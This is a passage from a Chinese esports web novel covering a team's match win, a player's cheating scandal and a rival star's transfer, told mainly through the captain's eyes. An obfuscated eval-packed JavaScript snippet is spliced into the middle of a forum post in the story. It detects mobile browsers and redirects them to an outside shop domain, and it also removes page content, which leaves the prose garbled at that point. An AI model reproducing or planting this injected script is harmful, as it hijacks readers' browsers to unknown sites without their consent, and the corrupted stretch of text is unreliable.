最终局,顾听操控安妮如鱼得水地拿了波四杀,SAB单场胜利,由于战况2:1,故胜者积1分,负者积-1分。 解说辣辣:“身为主场的HTT竟然输给了SAB,接下来的双循环积分赛制该是双方主客身为调换吧,看看第二场谁会获得积分呢。” 解说小丸:“其实在今天看来,两队中就Listen发挥零失误,不愧是年少一举成名的天才,他要是认真起来那么对面很难打,就比如最后的四杀,我都没看到HTT的协防者胡辣汤在哪儿。” 解说Skr:“Listen在KWC上的表现争议非常大,我觉得要不是受那件事的影响,SAB去年照样能拿冠军......” 解说还在喋喋不休地说收尾话语,赛场上的两方队伍彼此握过手之后便回到了休息室。 终于,忍了整整三局的魏寻也在沉默中爆发,揪住樊宇卿的队服衣领低吼,“你他妈知不知道这是在比赛!” 这会儿领队和教练还在赛场帮忙收纳他们的外设,根本不晓得队内两位队友已经快打起来了。 几个人见状连忙上前拦在他俩中间,魏巡也本来就戴着义肢,被陈述抱着往后没平衡地踉跄了几步,他骤然松开了手,气得胸腔不断起伏。 “比赛都结束了,你冲我发什么火?”樊宇卿倒也冷静,“况且不是赢了吗?” “对,是赢了,要是这三把你还在,早他妈的输了!”魏寻也指着他激动地说,“第一局你不掉点,我的雷会被他们全拆了吗?!全拆!” 对于一个爆破手来说,埋的雷区让敌人全拆就是在狠狠打自己的脸,这种情况很少会在职业选手身上发生,魏寻也不仅发生了,还是因为队友。 “好了魏哥,消消气,马上领队和教练就回来了。”陈述提醒说。 队规第一条就是禁止打架,年轻小伙子火焰重,气性大,会起冲突在所难免,制定规矩时刻警醒他们是一个队伍。 坐在沙发上的顾听一言没发,就当樊宇卿还想开口怼魏寻也时,他倏地站起身,掀起薄薄的眼皮看着樊宇卿。 “还想再说什么,樊哥。” 他声线轻柔,发出的语调却很有力量感,咬字清晰地砸进所有人的耳膜里。 樊宇卿硬生生地止住嗓音。 领队带着他们的外设进门来,立马就闻到一股硝烟味儿,再看魏寻也脸臭得跟锅盔一样,不用问都能洞悉目前的情况。 “第一场赢了干嘛气氛这么压抑?”老韩故作轻松地说。 谁也没开口说话。 顾听抿唇收回视线,走过去接老韩手中提着的外设包分给队友。 游戏社区>>KG联盟>>看帖 1L楼主 李涛春季常规赛首场,SAB2:1HTT,反侵者宇宙BO3两局接连失误,Listen一人力挽狂澜 2L 又是听粉开的贴吧??? 3L 樊宇卿菜得抠脚,我看直播看到第一局打完就溜了 4L 咋了贴吧听粉是被判了死刑吗 5L 首先SAB打HTT就没有可比性,SAB可以说是全技术阵容,Listen不用多讲六边形战士,句号号称“变态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568826|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶妈”,他年轻手速快,给他一张图他可以将里面的医疗资源搜完,鱼苗甩狙高手,Seek“炸弹之父”,宇宙——宇宙我敲你哇,越来越退步了,HTT拿出一个山川和胡辣汤还有谁与之为敌? 6L 当我知道SAB抽签抽到HTT以为会零封HTT,结果没想到给我拉坨大的【笑哭】 7L 全凭Listen撑着。 8L 你在逗我笑吗哥们儿,5楼说的话全当放屁呢,什么叫全凭Listen撑着,三个人是空气? Listen又成为一个导火索,瞬间粉喷battle抡到百楼。 134L 我说句公道话,Listen春季赛首场实力确实没得喷,KWC有很大一部分明明知道他是心态受影响了,宇宙发挥照样失常喷子当他空气人,这回的最后那一局四杀打的简直没话讲好吧 135L 让我很震惊的是他会拿安妮,真的不会睹物思人吗,我要是心里有他这么强大做什么事情都会成功的 136L 既然没人说樊宇卿那我可就说了,不出意外下一场SAB身为主队打完,会曝光一个大瓜【邪笑】也有可能会提前。 137L 什么大瓜?? 138L 放个耳朵 156L 我服了能不能不要当谜语人啊啊啊啊啊! ...... 由于要赶着回上海进行第二场比赛,首场险胜的这个坎儿只得暂时放置,HTT的广州主场轮换至SAB的上海。 这场线下追主队的人也比较多,在隔壁甚至就是UNP对战精卫,粉丝看完这边还可以串场看那边。 第一局依旧安排一队成员,樊宇卿的失误少了很多,肉眼可见地谨慎起来;第二局照常水平发挥,顾听所布置的战略计划完美实行;第三局,将HTT打成3:0零封。 SAB胜者队积3分,HTT败者队-3分。 目前常规赛积分领先的队伍暂时只有SAB。 同时,微博曝出了词条,#SAB战队选手宇宙妻子发博文 控诉丈夫嫖.娼出轨#,这无疑给了SAB猝不及防的重锤一击。 可以说比赛才结束,HTT可能还未坐上飞回广州的飞机,樊宇卿嫖.娼出轨事件便登顶热搜,SAB公关部紧急召开会议。 “我不知道啊,我真不知道,她这纯粹是造谣!是污蔑!”樊宇卿双目赤红地瞪着那条微博账号发的长篇大论以及附带图片的证据,颤着声音说,从中可以听出来他并没有底气。 贴吧的预言家照进现实,那么所有事情都能解释得通了。 博文中所提到的酒店、聊天记录、视频,樊宇卿这条嫖.娼时间链直接拉长到KWC前,为什么KWC状态萎靡,训练多次迟到,甚至春季常规赛精神不振的频繁操作失误,都是因为他在嫖.娼。 “是吗?”顾听冷笑了声,“那你就去告啊。” 樊宇卿醍醐灌顶般,“对,我要告她!” 樊宇卿的妻子并非空口造谣,直接将清晰的证据摆在了明面儿上,前来吃瓜的群众一眼就能看出来她条理清晰,逻辑紧凑,最让人愤怒的是樊宇卿这么多年营造出来的纯爱人设,背地里竟是一条披着羊皮的狼。 博文中,妻子说道本不想毁了他的事业旅途,可她实在忍受不了樊宇卿如此颓靡下去,因为樊宇卿的不负责任而连累整个队伍,她对他......非常失望。 年少相识,陪他度过低谷期迈向巅峰,原来一个男人会变得这么快。 樊宇卿如同铁锅上的蚂蚁,彻底成为了众矢之的。 他被管理层叫去会议室谈话了,训练室中,一队的四个人沉默地训练着。一个俱乐部的成员出了这档子事儿谁心里都不好受,还是在常规赛的进行当中,樊宇卿铁板钉钉地沾上了“劣质选手”的称号,到时候赛事方组委会一旦介入,不会再让他上场打比赛。 这不仅仅是关乎俱乐部的名声,还有游戏官方的脸面。哪怕选手打得再差,粉丝喷喷也就过去了,现在樊宇卿可能面临的是行政处罚问题,不再是简单的原则性错误。 那么SAB可能在常规赛中都打不出去,曾经被Cross一手带起来的巅峰战队就此止步。 20-30 第21章 第 21 章 三合一 陈述终究还是没将那句话问出口。 顾越的去世, 是顾听心中无法愈合的伤疤,又何尝不是所有人心中的伤疤?全队上下缄默不言,就当顾越去度了一个永远不返航的旅途, 他们不敢在顾听面前提起他哥, 哪怕一丁点儿有关于顾越的东西,都埋藏了起来。 有时候陈述觉着这个世界很善良,小心翼翼地呵护着顾听心灵失去至亲的创伤,又自相矛盾地觉着世界挺残忍的, 他看见那些辱骂诅咒的言论都会难受得不行, 独自咽在肚子里面消化,那么顾听呢? 顾越死后,队内突破手位置空缺,没有了队长, 更是失去了领头羊,顾听代替他哥上场,延续SAB辉煌道路。 那时顾听说, 我是为了我哥。 KWC上,顾听肩扛双担责任, 赛后顾听肩负无数骂名。 SAB是他哥的心血, 再艰难、再有压力,他也不会让顾越的梦想毁在他的手中,他要向哥哥证明,我其实可以。 但哥哥,你能看见吗? “不好吃?”顾听看陈述呆愣咀嚼的样子, 在他眼前晃了晃手。 “没、没,好吃着呢!”陈述笑了起来,大口朵颐, “嗯!太香了队长!” 顾听神色温柔,单手撑着下颌眨眼,“夸张了啊。” “我骗你干啥,”陈述手中筷子不停,抬头瞟了他一眼,佯装不经意地说,“队长啊,你不开心呢就要说出来,不要随时一个人憋着,就樊哥那件事儿吧,你肯定烦得要死,但你就不说,我看你这些天都没在状态,就算是卡皮巴拉也是有自己情绪的吧” 说完,他咬着筷子去观察顾听的表情。 顾听先是一愣,随后吃惊地说,“天呐句号,这都被你看出来了呀?” 陈述见顾听没怀疑来劲儿了,轻拍桌子,压着声音说,“对啊队长,甭管什么负不负面情绪,还是什么宣泄垃圾桶,你只管说出来就行了,在初中的时候,你知道我的外号叫什么吗?” 顾听憋笑,摇头说,“不知道。” “情感分析大师,”陈述自信地拍着胸脯,“哎,我有一哥们儿,初中追女神追的怀疑人生了,我就花了一晚上,成功开导,那哥们儿走出阴霾不为情所困,考上重点高中;还有” 陈述孜孜不倦地举了他当情感分析大师的好多例子,两个人坐在那儿一聊就聊到了深夜,面汤都冷了。 “所以队长,”收拾完厨房,陈述喊住上楼的顾听,望着他咧开嘴笑,“你还有我们呢。” 顾听弯眼,说得真挚,“谢谢你,句号。” 四月底,为期两个月的常规赛结束,休赛一段时间后,胜者组与败者组开启季后赛阶段,采用BO5双败淘汰赛制。 SAB以积分最高顺位胜者组第一名,UNP第二名、零域第三名、TXT第四名。不出意外,季后赛若两支队伍晋级总决赛,那么将争夺冠军奖杯。 尽管SAB现排名第一,但在赛事过程中每个选手的状态有目共睹,打得那叫一个吃力,有几场竞粉看下来胆战心惊,以为SAB会惜败,却总是在最后的关键时刻让顾听硬是扭转了局面。 休赛的闲暇空余很多,SAB松了口气来寻找打反侵者位置的选手,小萝姐为了这件事儿,眼袋下面都挂了俩黑眼圈,忙得焦头烂额。 管理层还不做人地让一队选手,哪些跟其他战队玩儿的好的,去撬人家墙角,魏寻也闻言私下吐槽,也不怕出门被挨黑打,我才不干这缺德事儿。 当晚,就引了一出舆论话题,是在顾听的直播间。第二天,UNP的Ear被竞粉喷上了热搜。 游迩在国内KG中,虽说是明星选手,可也就才回国一年,他的舆论还不足以大众讨论,在这之前,关于他的爆料少之又少。 这回事件有人说是乌龙,也有人分析说这是蓄谋已久,更有甚者,游迩被冠名为“叛徒”。 事情到底是怎样的—— 休赛阶段选手可以自行合理安排自己的时间,顾听不想一股脑地积攒到后面来补直播时长,能播一会儿是一会儿,也耽误不了训练。他刚开播五分钟,先到来的不再是688哥的特效礼物,而是意想不到的一个人,那个仅仅只与他算泛泛之交的游迩。 可能泛泛之交都算不上。 “嗯?”顾听一愣,懵逼地看着显示屏,小声的尾音上扬。 【卧槽什么情况???】 【小卡何时和12的关系这么好了??】 【救命,我看不懂这波操作】 【难道是我猜想的那样??】 【弹幕不要打哑谜好不好,有啥不能明说的】 【咋,常规赛那场比赛不敌小卡,心服口服了?[狗头]】 【喜欢上小卡人之常情】 卧室的门被使劲敲响,游迩慢条斯理地从电竞椅起身去开门,迎面对上祁一八卦眼神。 “你最好不要告诉我是手滑。”祁一扭身闪进游迩的房间,电脑明晃晃地正播放着顾听的直播间。 “你来干什么?”游迩不由分说地走过去关了电脑,掏出手机看了眼,剑眉微蹙。 “看就算了,还用电脑看,”祁一打趣的眼神儿,“打了一场比赛对人听神过目不忘了?嗯能理解,毕竟你都提出转会了。” “有消息了吗?”他俩牛头不对马嘴地交流,游迩灰色瞳仁里掩藏极好的期待,等祁一的回复。 “你太着急了小伙子,”祁一刨着手机,找到聊天界面给他看,“那边的答复,巴喜不得你过去,这两天收拾收拾吧,对了,快点把违约金给我打了。” “嗯,我现在就就转。”少爷口气轻描淡写,仿佛一大笔违约金对他来说就是小钱。 本来竞圈俱乐部的转会还有一项挂牌出售的流程,需要在规定时间内提交挂牌信息,包括选手的基本资料、挂牌价格等。倘若竞价成功后,转入俱乐部与选手就转会费用、合同期限、薪资待遇一系列条款进行谈判。 游迩由于和UNP的合同期限还未到期,所以应当按照合同上的比例缴纳违约金,正好碰上SAB需要反侵者,他的转会办理对接得非常快。 “哎,你还没回答我呢,”祁一肩膀撞他,“是手滑还是特意的?你是有多喜欢你那边儿那个新队长,怎么不见我直播的时候你给我打钱呢?” 游迩还真是手滑了。 他平常看顾听直播都是用的另一个号,但那天平台崩了,他也没注意登录的是哪个号,潜意识地认为就是常登的小号。 当今天平台提醒他特别关注开播时,他还是像往常一样送了礼物过去,谁他妈知道是大号。 不过游迩倒是很淡定,战队之间选手送送礼物是再正常不过的事情了,况且他也一只脚踏入了SAB的门。 “谁?韩队你说谁转来我们俱乐部了?”陈述震惊地拍桌而起。 老韩叹了口气,抬手示意他坐下来。 会议室坐着教练组和小萝姐,早上管理层开了会将这则消息敲定,准备迎接新成员,让他们下来去给一队说一说。 谁也没想到,转来SAB的居然是游迩,实在是荒诞又荒谬,这简直八竿子打不着。 “就是游迩,”老韩说,“选手转会的具体缘由队内禁止讨论,你们只需要接纳他现在是你们的队友,是和你们一起打比赛的人就行了。” 陈述还想说什么,被顾听压住手腕儿,笑着说,“好的韩队,那他什么时候来?” “这两天吧,”老韩朝魏寻也点了点下颌,“小魏,你旁边儿的卧室空着的是吧,你和句号帮忙打扫一下。” “啊,要打扫吗,”魏寻也佯装说,“他应该不会住基地吧,毕竟人有钱。” 老韩皱眉,“你怎么就知道人有钱了?” “网友都是这样说的,”陈述嘟囔,“而且UNP还是豪门战队呢” “抽空半个小时就打扫出来了,抹抹灰拖拖地啥的,”老韩说,“里面的家具都是新的,本来该樊宇卿住那间卧室,他不是结婚要回家住么,算了,一提起他我就是气。” 回到训练室,陈述一直憋着话终于有了宣泄口,“不应该呀,咋会是游迩呢?噢我想起来了,队长,他是来找你的!” 顾听漫不经心温声回,“嗯哼,找我干什么?” “队长,别听他放屁。”彭于渺开口说,“句号,我有没有提醒你说任何话要经过大脑想一想,没有证据的话不要乱说。” “我真没乱说呀鱼苗姐,”陈述据理力争,“他不冲着队长来他干嘛要在直播间刷礼物,我看这个游迩分明就是居心叵测。” 陈述所说的这些,钝感如顾听,他确实没有想这么多,不过心里面在听见转会而来的是游迩时,感到这两个月打比赛的重压有了一刻的放松。 老韩在开会说的话他非常认同那句话,只需要接纳他现在是你们的队友,是和你们一起打比赛的人就行了。 游迩来的比预计要快很多。 当时顾听正在训练室训练,游迩直接给他打了一通微信语音,青年嗓音低磁愉悦,从听筒里传来,“队长,我到了。” 队长,我到了。 队长,我到了 游迩这声队长喊得可谓是无比自然和亲切,就好像顾听已经当了他很久的队长。 魏寻也被顾听倏地站起身的动静吓了一跳,怔然地问,“咋了队长?” 而反观魏寻也喊的这一声“队长”,相比游迩,就没有那种无法言说的感觉,顾听也不知其缘由。 他还捏着手机,通话早就挂断了,他刚刚好像还没回游迩。顾听穿上外套,简单地交待,“我出去接一个人,马上回来。” 这种事情不应该是领队交接么,游迩为什么要给他打电话?顾听去基地大门的一路上都在想这个问题。今天天气格外得好,艳阳高照,训练室待久了偶尔出来呼吸了下新鲜空气,全身都通透舒爽,他享受地眯了眯长睫,恰好看见门外的那一辆黑色长车。 对于车的品牌,顾听不太认识,只是觉得车身很长,而游迩已经下了车,正坐在他的大箱子上玩儿手机。 顾听刚打算出声打招呼,对方敏锐地抬起头,直直地朝他投射过来灰色眸子的视线。 游迩放下手机,眼眸全是顾听的身影。对方整个人沐浴在阳光下,粉发飞扬,桃花眼水波弯弯,嘴角挂着标志性的梨涡。 一次又一次隔着屏幕见到的人,此时就在他的眼前,并且过后能成为他朝夕相处,不可或缺的队友,游迩依旧相信梦境能转换为现实,所想即所得。 “你好,小迩,”顾听走了过去伸手,“欢迎你来SAB。” 游迩瞳仁微颤,心口猛跳,仿佛动物大迁徙般跨过地球长河留下行驶的震撼。他混血的浓颜没有了平日里的冷硬僵直,舒展一笑,回握住顾听的手,“谢谢队长。” 顾听注意到他身后的两个大箱子,“我来帮你吧。” “不用。”游迩轻而易举地提拉着两个箱子,同顾听并肩走向基地内部。 在去管理层报道签下一系列手续流程之前,顾听作为SAB的队长,带游迩去他的卧室整顿,期间路过青训和二队的训练室,里面的成员像观猴儿一样地恨不得将脖子抻出二里地来,看着他俩。 顾听在前方对他讲哪些是哪些地方,每说一句游迩都附和,像人机。 “然后呢,你的房间在这里,”顾听推开门,“你看看格局怎么样,里面已经简单地打扫过了” 他转头,两人眼眸彼此相视。 游迩眸中带笑,点头,“知道了,队长,离你的卧室近吗?” 顾听没有想那么多,只当是才来的新队员有不懂的需要找他,他指了指对角的房门,“不远,就在那儿,你有事儿找我就行。” “嗯。”游迩应。 全程游迩拖着两个大箱子,搁到卧室才得以空隙腾出手,顾听便又带他去管理层报道。 游迩进了办公室里面交谈,顾听做好自己的任务回到了训练室,刚一推开门,魏寻也打了个响指问,“队长,人咋样?” “刚接触呢,看不太出来,”顾听笑着回,沉思了一会儿,“嗯挺有礼貌一小孩儿。” “小孩儿?”彭于渺噗嗤,“队长,你就比他大一岁,装什么大人呢。” “大一岁也是大呀。”顾听拧开保温杯喝了口茶。 “就是,哪怕大半岁也得喊哥,”陈述摩挲着下巴,“就是不知道游迩大还是我大,万一我比他大,我就不是队内最小了。” “又在瞎幻想。”魏寻也嘁了声摇头。 游迩具体跟管理层聊了些什么,他们都不清楚,只是认为迄今为止还没有选手这么快完成了所有流程,一气呵成。 而联盟里如今像游迩与SAB这样的“选择”与“被选择”的融洽关系,除开当年的双顾,便只有游迩了。 老韩领游迩来训练室时嘴巴都还未停,一队的成员见状,立即摘下耳机正襟危坐,目光一致投向门口。 “来,举起你们的双手,欢迎你们的新队友。”老韩率先鼓起了掌。 “欢迎欢迎。”顾听小声说。 游迩顿时将视线看向了他。 “队长顾听,你应该知道了,那位是爆破手魏寻也,协防者陈述,”老韩介绍着,“彭于渺,我们战队唯一的女选手,队内打狙击。” “你们好。”游迩微微鞠了鞠躬,启唇说。 陈述见状,凑近彭于渺用手背遮住自己的嘴巴悄声说,“鱼苗姐,队长说得没错,他真挺有礼貌的。” 彭于渺轻点下颌应,“嗯。” 训练室内机子很多台,不过为了方便,他们每次训练相隔的不是很远,游迩一来自然而然地接手先前樊宇卿用过的电脑,上面是战队给配的外设。 “你要觉得用不习惯,可以把你自己的外设配上,”老韩说,“还有一些不懂的问队长就行。” 和顾听一模一样的话术,游迩想。 记忆回溯多年前,顾听哪会背这么多的担子,少年无忧无虑,连在游戏中的操作也是勇往直前。 他们一般会说这种没有后顾之忧,因为身后有依靠。 然而现在,有事找队长。顾听成为了他们的依靠。 累不累? 游迩薄唇蠕动,在顾听旁边落了座。 #Ear 白眼狼# #游迩转会SAB# 这两个词条已经在微博热搜挂了一天一夜,丝毫未见下降程度。这两天SAB一队的训练室里算不上沉默,就是气氛有些怪异,具体是个什么怪异法可能是热搜正主就坐在他们面前但依旧云淡风轻,并没有当回事儿。 【现在竞圈已经这么随便了么,想转就转了?】 【游某人可是美国国籍哦,中美混血挂美籍,美国那么好还回来干什么,卖国贼滚出拆那!】 【圈你国的钱,拍拍走人反手掏出一张美国护照,弃自家战队而不顾,白眼狼真是被游迩发挥得淋漓尽致】 【虽然UNP是全华班唯一的豪门战队,走了个游迩并不会损失什么,我只是对此人的做法感到恶心,感觉像是随时随地都会被背刺的那种人】 【翻完评论,发现在这个世界的伪人比我想象的太多了,这不就是普普通通的转会流程么,怎么阴谋论都搞出来了?】 【KG每年都是这个时间段有转会啊[无语]】 两个战队官方账号被冲的没眼看,好在明事理的粉丝还占了几个前排位置,以至于观感看起来不那么的糟糕。 但是事后回想,游迩的转会确实明眼的太过急切,并直奔目标。 那么多的战队,偏偏选择了每况愈下的SAB,按理说他这种人应该眼高于顶才对,在SPD待得好好的,而后转回UNP,现在又来到了SAB,有人嘲讽他挑战队的眼光越来越差。 就算这回转会被骂的如此惨,也仅只是扒出他国籍的黑料使劲喷,再多余的,也便没有了。 又一次配合他完成了击杀。 顾听没忍住往旁边瞟了一眼,青年鼻梁优越,即使戴着耳机有了隔档依旧能看到他挺阔的山根,侧脸线条深邃凌厉。游迩的敏锐程度堪称极致,半秒,他扭头看向顾听。 对视。 灰色瞳仁很少见,顾听也只在电视剧或者漫画中看到过,现实亲眼一瞥,只觉像是山雨欲来的乌云,不近人情,可又有那么几分温度。 “队长,怎么了?”游迩抬手关掉音频,询问。 还是有些不太习惯,不习惯游迩竟然成为了他的队友。 顾听低头笑了笑,温声说,“那一波打的很漂亮呢,小迩。” 游迩眯了眯眼,喉结滚动,低哑道,“漂亮就好。” 训练几把就能探出来一个人的实力如何,练完复盘,顾听切换到游迩视角,尽管已经知道青年那些耀眼的前缀,却在此刻得到证实。 “哟,这小子是个不错的好苗子。”顾越陪弟弟复盘,难得地说出一句认可的话。 “我也觉得他很不错,”顾听分析着数据,“我将他在美国时期打比赛的集锦翻出来看了眼,15岁在KWC上一战成名,他是真的魏哥口中最可恶的天赋型选手了。” “你很高兴?”顾越笑意盎然地看着弟弟。 “嗯,这些天唯一比较高兴的事情,”顾听点了点头,“哥,曾经我俩争执的那个问题,我还是会坚持我的答案。” 顾越是个人主义者,认定强者最强,在赛场上,他可以不需要依靠队友,一个人掌控所有局面,他不会输。那时候的他的确有自傲的资本,导致他的对手敬仰与不爽各占一半。 但顾听较为集体主义者,他的局限为KG这个游戏是五人团队游戏,所以队友必须互相配合才能打出好成绩来。 当时双顾就这个辩论想直取结果,究竟是个人赢的比赛几率大,还是集体——顾越说,最起码他目前为止所打的每一场比赛,从未失败,故而百分之百的概率,他坚信个人主义。 顾听不认同。 无论是从前还是现在,他始终认为队友的力量是无懈可击的。 攻成不必在我,可以在任何队友身上。 功成必定有我,而我,并非不能力挽狂澜,扭转局面。 “无论你做哪个决定,”顾越轻捏他的肩,笑着说,“哥都会支持你,小听。” 顾听握鼠标的手倏地一紧。 “这个游游迩,嘶,很耳熟的名字,”顾越垂着眼睑思考,陷入某种经久模糊的回忆当中,“我记得,五年前吧,还是四年前,小听你是不是撞车过一位外国小哥,他那时不是被你打破防了吗,然后用一股生硬的中文腔调告诉了你他的名字,我那会儿还在想外国人也挺记仇的哈。” “和游迩很像呢。” 哥哥的提醒的确勾起了顾听蒙尘的旧时光,但时间过去了这么久,期间也发生了这么多事情,他大脑里面的存储格早已对不重要的事和物潜意识地放到最深处,等它们自行坠落,直至消失不见。 “是吗,”顾听盯着显示屏上的人物,就算游迩换了赛道,反侵者在他手中也没有出现极大失误。他笑了笑,轻语说,“不记得了。” 游迩的加入,无疑让SAB从濒危里活了过来。 管理层其实对游迩那天在会议室说的话耿耿于怀,倒不是因为资金谈判,甚至俱乐部的分成他都可以不要,不过在这上面都有一个前提。 青年还把老韩怼得哑口无言。 不像是加入当选手的,倒像是来训人的。 这些谈话内容,俱乐部全队上下没有人知道。 顾听修长的指尖转着圆珠笔,按下暂停,将游迩的集锦视频中战斗数据以及分析点记载下来,方便过后作比赛攻略。开始、暂停,他越看越觉得眼前仿佛有一条清晰的画面雏形。 房门被敲响。 顾听搁下本子和笔去开门,眼前的景象让他错愕地瞪大眼。 游迩个子高,占据在狭窄的门框稍显委屈,墨发前刺不停地往下滴水,甚至还有未冲洗完的洗发膏发沫,一路顺着流入白T衣领里,他脖颈处搭了根毛巾,不好意思地一笑,“队长,我那个房间,水管坏了。” “坏了?”顾听侧身让他进门,“啊,那卧室太久没人住,一些设施应该是老旧了,我都忘了提醒让他们排查检修一下。” “能不能” “能,推开衣柜门里面就是浴室,”顾听话没有等他说完就爽快地答应,“你先洗着吧,我去看看漏成什么样了。” 可谓是水漫金山。 顾听来到游迩的卧室,水已经漫延到了客厅处,临近晚上十二点,打电话叫人来维修不太现实,他只好进去关闭阀门,又回他屋里找了根帕子把水管堵上。彭于渺直播完出门下楼寻找阿姨做的小零食,路过游迩房间看顾听忙碌的背影,不明所以地问,“咋了这是?” “小迩房间的水管爆了。”顾听说。 “水管爆了?”彭于渺探头望了眼,“哎哟,这漏的还挺多,游迩运气不太好啊,才来就出这一茬儿。” “对,明天再找师傅给他维修吧,顺便再把其他设施检查一下。”顾听起身拍拍手说。 “他人呢?”彭于渺问。 “我那儿洗澡,”顾听笑着说,“有点狼狈,头上泡沫还没有冲干净呢。” 彭于渺意味深长地哦了声,“这样啊,那他今晚只能在你那儿睡一晚了,队长。” “嗯。”顾听没在意地回。 游迩洗完澡出来时,顾听刚把上床给收拾好。现在俱乐部选手的卧室都是单人大床,唯独顾听还未改变,这架上下床是顾越没有去世前买的,当初他也是和顾越住在同一间屋子里。 他们劝过他,如果睹物思人难受,可以把床换了,换个大点儿的,顾听拒绝了。 虽然家里的床早就换了,但这边儿的变化,顾听舍不得,就连衣柜中还挂着哥哥生前所穿过的队服,他洗干净的。 “你那屋我看过了,今晚是睡不了了,等明天维修师傅来给你修好再说,”顾听踩着梯子别扭地下床,找出吹风机递给游迩,“小迩你就睡下床吧,懒得爬梯子了。” 游迩扫视着那架上下床,他其实知道这对于顾听有什么独特的意义,不过同在屋檐,他已经很满足了。 “没事儿队长,你睡下面,”游迩观察到顾听下来踩梯子的时候长腿轻微颤抖,一看就不是经常爬床的人,不用想都能猜出来之前上床睡的会是谁,“够麻烦你了。” “谈什么麻不麻烦,不都是一个队的么,”顾听笑,“你第一次来,房间水管还爆了,是战队考虑不周。” 游迩唇角微勾,摸了摸鼻梁,没有应他的话,拿起吹风机去浴室吹头发了。 顾听重新拉开电竞椅,继续写刚刚没有写完的战术分析,浴室里吹风机的噪音什么时候停止的也不知道,直到耳边响起低沉嗓音,把他吓了一跳。 游迩语音上扬,压不住的雀跃,陈述句,“队长在看我的比赛视频。” 芬恩双刀流长剑站于安雅前方,犹如不可击破的盾牌骑士,这是游迩在美国打的一场淘汰赛,恰好队友的突破手就是安雅。 “嗯,对你不太了解,想做个功课。”顾听说。 游迩胳膊撑在顾听的电竞椅上,视线下瞥,映入的是顾听拿笔的右手,指节的每个骨骼分明,匀称纤细,指甲修剪的圆润干净,黑色圆珠笔将他的手衬托的很白,字写的也很漂亮。 初夏的室内温度不冷不热,顾听穿了一件长袖卫衣,两只衣袖都挽到了胳膊肘处,游迩自然也清晰近距离地看见了左手手臂的鸢尾花纹身。 “队长的纹身好美。”游迩冷不丁说。 “嗯?顾听没反应过来,话题跨越度也太大了。 “队长想休息了么?”游迩又问。 顾听脑子有些懵,性子慢的他可能还不太适应游迩这种快节奏。 “再过一会儿吧,怎么了?”他抬头,看向游迩。 “有什么想问的,想知道的,队长可以直接问我。”游迩的黑发垂在额前,混血的五官突出的更甚,嗓音沉和地说。 “坐吧,”顾听长腿一勾将椅子勾过来,示意他坐,问出那个他一直想知道的问题,“你为什么会转型打反侵呢?” “跳出舒适区,尝试新事物,”游迩说,“更多的是想证明一些东西,比如——” 他停顿一瞬,“够不够格。” 顾听轻蹙眉头,他是真听不懂游迩说的一些话,难道是因为文化差异? “你在美国待了多久?”他问。 “十多年吧,从出生起就一直在美国。”游迩说。 “那你中文说得很好,”顾听笑了笑,“你的每个领域天赋都很高呢,小迩。” 游迩凝神地看顾听的侧脸,也笑。 “你以前的突破打得非常棒,”顾听用鼠标拖进度条,“你看,你用柯莱这一场的比赛,为队友开口清路,全程都没有掉过点。” “队长,你好像我的妈妈。”游迩语出惊人。 顾听震惊地瞪大眼,饶是情绪再稳定,性格再无所谓,听见这句话他还是维持不了淡定,猛地看向游迩。 他确信了,国内外文化差异巨大。比赛和像妈妈是一回事儿吗?! 这孩子莫不是想家了 见顾听脸颊泛起红晕,游迩解释道,“队长没发现,你一直在夸我么,跟我妈妈一样,经常夸我。” 顾听终于松了口气,拍拍心口,“你好吓人。” “我想问队长一个问题。”游迩看着他说。 “嗯,你问。”顾听说。 “我一来你就叫我小迩,我比队长要小么?” 顾听茫然地张了张嘴,心想难道他介意‘小’这个字?,回道,“是要小一点。” 游迩点点头,“队长是很多人的队长,我想,能不能叫你哥。” 如此直球,不给顾听任何犹豫和思考的机会,他这句话甚至不是询问。 虽然顾听不清楚游迩为什么想换称呼,但他一直对称呼无所谓,哪怕是直接叫他名字。 “你叫什么都可以。”他回道。 “好,”游迩喉结滚动,轻笑,“哥。” 顾听看了眼时间,“不早了,休息吧小迩。” 说完,他就要往上床爬,腰间有一股强硬的力道揽住了他。 “哥,你不用爬上床,”游迩说,“我睡就行。” 顾听实在是有些困了,没再跟他僵持,“行吧。” 游迩关掉卧室大灯,唯独留下微亮橙光的床头灯。在迷迷糊糊睡过去的那一瞬间,顾听想,他怎么会知道床头灯不关 渐渐地,下床传来轻微的匀息- Youer:对,他现在睡在我下面。 点进发送之后,他探侧身子,就着床头灯微弱的光凝望熟睡的面容,而后胳膊枕在脑袋下面,视线盯着天花板陷入沉思。 手机震动,对面回了两条消息- Lucas:【Good!】- Lucas:Dude, I really didnt expect you to burst the water pipe 三楼的电钻动静惊扰美梦,陈述队服都没换,顶着一头乱毛气冲冲地寻找罪恶来源,他打开门站在走廊,眨巴迷糊双眼紧蹙眉头看向那边。 顾听和游迩并肩站着,两人倚在门口,不知在朝里面的人说些什么。 陈述走了过去,钻进他俩中间,迷茫地问,“队长,大早上你们干嘛呢——哦哟,游迩房间好多水!” 他顿时清醒地睁大眼,揉了揉,“啊,昨晚你的水管爆了?” 游迩高冷点头。 “辛苦你们忍一下下,师傅快修好了。”顾听说。 “我是说我们基地哪儿需要搞装修呢,”陈述说,感到奇怪,“哎,你水管咋会爆,按理说不应该呀,我和魏哥打扫清洁的时候都好好的。” “不知道。”游迩淡声回。 师傅修完水管还把房间其他设施检查了个遍,确定没什么问题了才离开。卧室里还残留着狼藉,得亏游迩才搬进来,东西不多,直播的设备也还没配置,所以没有多大的损失,只是得扫水。 为了不耽误训练和队友的时间,游迩请了家政阿姨过来把地板上的水弄干净,即使这样,房间依旧潮湿。 “哥,”游迩对顾听商量,“我能不能再在你那儿凑合一晚?” “行,你把窗户打开正好让屋子通通风,”顾听没有犹豫地答应了,“过几天会在你卧室弄直播设备。” “谢谢哥。”游迩笑了笑。 下午顾听没和他们一起训练,吃完饭,他接到了裴律的电话。 因为他的特殊原因,俱乐部对于他的请假格外宽松,老韩在他出门前嘱咐,有事儿就打电话。 